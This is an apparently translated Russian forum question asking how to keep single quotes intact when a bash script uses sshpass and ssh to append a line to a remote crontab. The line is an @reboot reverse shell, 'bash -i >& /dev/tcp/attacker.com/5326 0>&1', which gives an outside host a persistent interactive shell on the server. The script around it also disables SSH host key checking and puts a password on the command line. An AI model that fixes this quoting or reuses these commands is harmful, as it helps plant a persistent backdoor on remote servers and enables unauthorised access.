У меня есть скрипт для обновления задания cron на удаленном сервере, к которому обращается ssh. Я не могу получить одинарную кавычку для задания cron из команды echo, запущенной в моем скрипте bash.
Это именно та строка, которая мне нужна в моей работе cron:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
Но я не могу заставить их "прилипать".
Это строка в моем скрипте (другие строки работают просто отлично.
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
Результатом этой попытки является ...
@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
... без кавычек.
Я пробовал несколько двойных кавычек. Одинарные кавычки в двойных кавычках. Slashes.
В этой ситуации, как можно вставить одинарные кавычки в мой скрипт, чтобы они оказались на работе cron?